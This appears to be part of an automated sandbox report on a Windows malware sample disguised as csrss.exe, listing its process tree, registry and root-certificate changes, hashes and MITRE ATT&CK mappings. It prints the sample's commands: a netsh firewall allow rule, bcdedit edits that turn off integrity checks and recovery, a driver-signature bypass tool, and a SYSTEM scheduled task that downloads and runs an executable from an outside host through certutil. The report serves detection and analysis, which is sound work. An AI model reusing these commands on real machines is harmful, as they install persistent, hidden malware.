53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a441400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a319000000010000001000000014c3bd3549ee225aece13734ad8ca0b82000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.execsrss.exe

pid	process
1248	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
856	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
1720	csrss.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

464

pid	process
464

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	1248	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Token: SeImpersonatePrivilege	1248	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Token: SeSystemEnvironmentPrivilege	1720	csrss.exe

Suspicious use of WriteProcessMemory 58 IoCs

Processes:

48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.execmd.exepatch.execsrss.exe

description	pid	process	target process
PID 856 wrote to memory of 852	856	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe	cmd.exe
PID 856 wrote to memory of 852	856	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe	cmd.exe
PID 856 wrote to memory of 852	856	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe	cmd.exe
PID 856 wrote to memory of 852	856	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe	cmd.exe
PID 852 wrote to memory of 1000	852	cmd.exe	netsh.exe
PID 852 wrote to memory of 1000	852	cmd.exe	netsh.exe
PID 852 wrote to memory of 1000	852	cmd.exe	netsh.exe
PID 856 wrote to memory of 1720	856	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe	csrss.exe
PID 856 wrote to memory of 1720	856	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe	csrss.exe
PID 856 wrote to memory of 1720	856	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe	csrss.exe
PID 856 wrote to memory of 1720	856	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe	csrss.exe
PID 1816 wrote to memory of 1556	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 1556	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 1556	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 1580	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 1580	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 1580	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 560	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 560	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 560	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 516	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 516	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 516	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 1640	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 1640	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 1640	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 1660	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 1660	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 1660	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 1496	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 1496	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 1496	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 960	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 960	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 960	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 364	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 364	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 364	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 1144	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 1144	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 1144	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 1248	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 1248	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 1248	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 1352	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 1352	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 1352	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 1380	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 1380	1816	patch.exe	bcdedit.exe
PID 1816 wrote to memory of 1380	1816	patch.exe	bcdedit.exe
PID 1720 wrote to memory of 1936	1720	csrss.exe	bcdedit.exe
PID 1720 wrote to memory of 1936	1720	csrss.exe	bcdedit.exe
PID 1720 wrote to memory of 1936	1720	csrss.exe	bcdedit.exe
PID 1720 wrote to memory of 1936	1720	csrss.exe	bcdedit.exe
PID 1720 wrote to memory of 956	1720	csrss.exe	dsefix.exe
PID 1720 wrote to memory of 956	1720	csrss.exe	dsefix.exe
PID 1720 wrote to memory of 956	1720	csrss.exe	dsefix.exe
PID 1720 wrote to memory of 956	1720	csrss.exe	dsefix.exe

C:\Users\Admin\AppData\Local\Temp\48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
"C:\Users\Admin\AppData\Local\Temp\48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1248

C:\Users\Admin\AppData\Local\Temp\48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
"C:\Users\Admin\AppData\Local\Temp\48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe"
2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:856

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:852

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:1000

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1720

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:1028

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:1628

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1816

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
5⤵
- Modifies boot configuration data using bcdedit
PID:1380

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -timeout 0
5⤵
- Modifies boot configuration data using bcdedit
PID:1352

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
5⤵
- Modifies boot configuration data using bcdedit
PID:1248

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
5⤵
- Modifies boot configuration data using bcdedit
PID:1144

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
5⤵
- Modifies boot configuration data using bcdedit
PID:364

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
5⤵
- Modifies boot configuration data using bcdedit
PID:960

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
5⤵
- Modifies boot configuration data using bcdedit
PID:1496

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
5⤵
- Modifies boot configuration data using bcdedit
PID:1660

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
5⤵
- Modifies boot configuration data using bcdedit
PID:1640

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
5⤵
- Modifies boot configuration data using bcdedit
PID:516

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
5⤵
- Modifies boot configuration data using bcdedit
PID:560

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
5⤵
- Modifies boot configuration data using bcdedit
PID:1580

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
5⤵
- Modifies boot configuration data using bcdedit
PID:1556

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:1936

C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
4⤵
- Executes dropped EXE
PID:956

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220714044236.log C:\Windows\Logs\CBS\CbsPersist_20220714044236.cab
1⤵
- Drops file in Windows directory
PID:1232

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Impair Defenses

T1562

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe

Filesize
94KB

MD5
d98e78fd57db58a11f880b45bb659767

SHA1
ab70c0d3bd9103c07632eeecee9f51d198ed0e76

SHA256
414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

SHA512
aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe

Filesize
3.9MB

MD5
6cdb82a5248095408ead1969b1c30f4b

SHA1
6414d0f3dc303c834f0ddce218139348074bbdac

SHA256
48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e

SHA512
c733680634d575fee025768842f769e9409e6e90a4d05a2eea572b489107448ab87f86205f742e66cc95acb78093b26b0cbcc1e1021ec325d82535213f39401a

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe

Filesize
94KB

MD5
d98e78fd57db58a11f880b45bb659767

SHA1
ab70c0d3bd9103c07632eeecee9f51d198ed0e76

SHA256
414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

SHA512
aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\patch.exe

Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
\Users\Admin\AppData\Local\Temp\dbghelp.dll

Filesize
1.5MB

MD5
f0616fa8bc54ece07e3107057f74e4db

SHA1
b33995c4f9a004b7d806c4bb36040ee844781fca

SHA256
6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

SHA512
15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe

Filesize
591KB

MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe

Filesize
591KB

MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe

Filesize
591KB

MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\symsrv.dll

Filesize
163KB

MD5
5c399d34d8dc01741269ff1f1aca7554

SHA1
e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

SHA256
e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

SHA512
8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

Download Submit
\Windows\rss\csrss.exe

Filesize
3.9MB

MD5
6cdb82a5248095408ead1969b1c30f4b

SHA1
6414d0f3dc303c834f0ddce218139348074bbdac

SHA256
48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e

SHA512
c733680634d575fee025768842f769e9409e6e90a4d05a2eea572b489107448ab87f86205f742e66cc95acb78093b26b0cbcc1e1021ec325d82535213f39401a

Download Submit
\Windows\rss\csrss.exe

Filesize
3.9MB

MD5
6cdb82a5248095408ead1969b1c30f4b

SHA1
6414d0f3dc303c834f0ddce218139348074bbdac

SHA256
48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e

SHA512
c733680634d575fee025768842f769e9409e6e90a4d05a2eea572b489107448ab87f86205f742e66cc95acb78093b26b0cbcc1e1021ec325d82535213f39401a

Download Submit
memory/364-95-0x0000000000000000-mapping.dmp

Download
memory/516-90-0x0000000000000000-mapping.dmp

Download
memory/560-89-0x0000000000000000-mapping.dmp

Download
memory/852-61-0x0000000000000000-mapping.dmp

Download
memory/856-69-0x0000000000400000-0x0000000002F5D000-memory.dmp

Filesize
43.4MB

Download
memory/856-64-0x0000000000400000-0x0000000002F5D000-memory.dmp

Filesize
43.4MB

Download
memory/856-59-0x0000000003280000-0x0000000003628000-memory.dmp

Filesize
3.7MB

Download
memory/856-60-0x0000000003280000-0x0000000003628000-memory.dmp

Filesize
3.7MB

Download
memory/956-102-0x0000000000000000-mapping.dmp

Download
memory/960-94-0x0000000000000000-mapping.dmp

Download
memory/1000-63-0x000007FEFBD01000-0x000007FEFBD03000-memory.dmp

Filesize
8KB

Download
memory/1000-62-0x0000000000000000-mapping.dmp

Download
memory/1144-96-0x0000000000000000-mapping.dmp

Download
memory/1248-57-0x0000000000400000-0x0000000002F5D000-memory.dmp

Filesize
43.4MB

Download
memory/1248-54-0x0000000003280000-0x0000000003628000-memory.dmp

Filesize
3.7MB

Download
memory/1248-58-0x0000000000400000-0x0000000002F5D000-memory.dmp

Filesize
43.4MB

Download
memory/1248-97-0x0000000000000000-mapping.dmp

Download
memory/1248-56-0x0000000003630000-0x0000000003E34000-memory.dmp

Filesize
8.0MB

Download
memory/1248-55-0x0000000003280000-0x0000000003628000-memory.dmp

Filesize
3.7MB

Download
memory/1352-98-0x0000000000000000-mapping.dmp

Download
memory/1380-99-0x0000000000000000-mapping.dmp

Download
memory/1496-93-0x0000000000000000-mapping.dmp

Download
memory/1556-87-0x0000000000000000-mapping.dmp

Download
memory/1580-88-0x0000000000000000-mapping.dmp

Download
memory/1640-91-0x0000000000000000-mapping.dmp

Download
memory/1660-92-0x0000000000000000-mapping.dmp

Download
memory/1720-73-0x0000000000400000-0x0000000002F5D000-memory.dmp

Filesize
43.4MB

Download
memory/1720-72-0x0000000000400000-0x0000000002F5D000-memory.dmp

Filesize
43.4MB

Download
memory/1720-71-0x00000000030B0000-0x0000000003458000-memory.dmp

Filesize
3.7MB

Download
memory/1720-70-0x00000000030B0000-0x0000000003458000-memory.dmp

Filesize
3.7MB

Download
memory/1720-67-0x0000000000000000-mapping.dmp

Download
memory/1816-82-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/1816-76-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/1936-100-0x0000000000000000-mapping.dmp

Download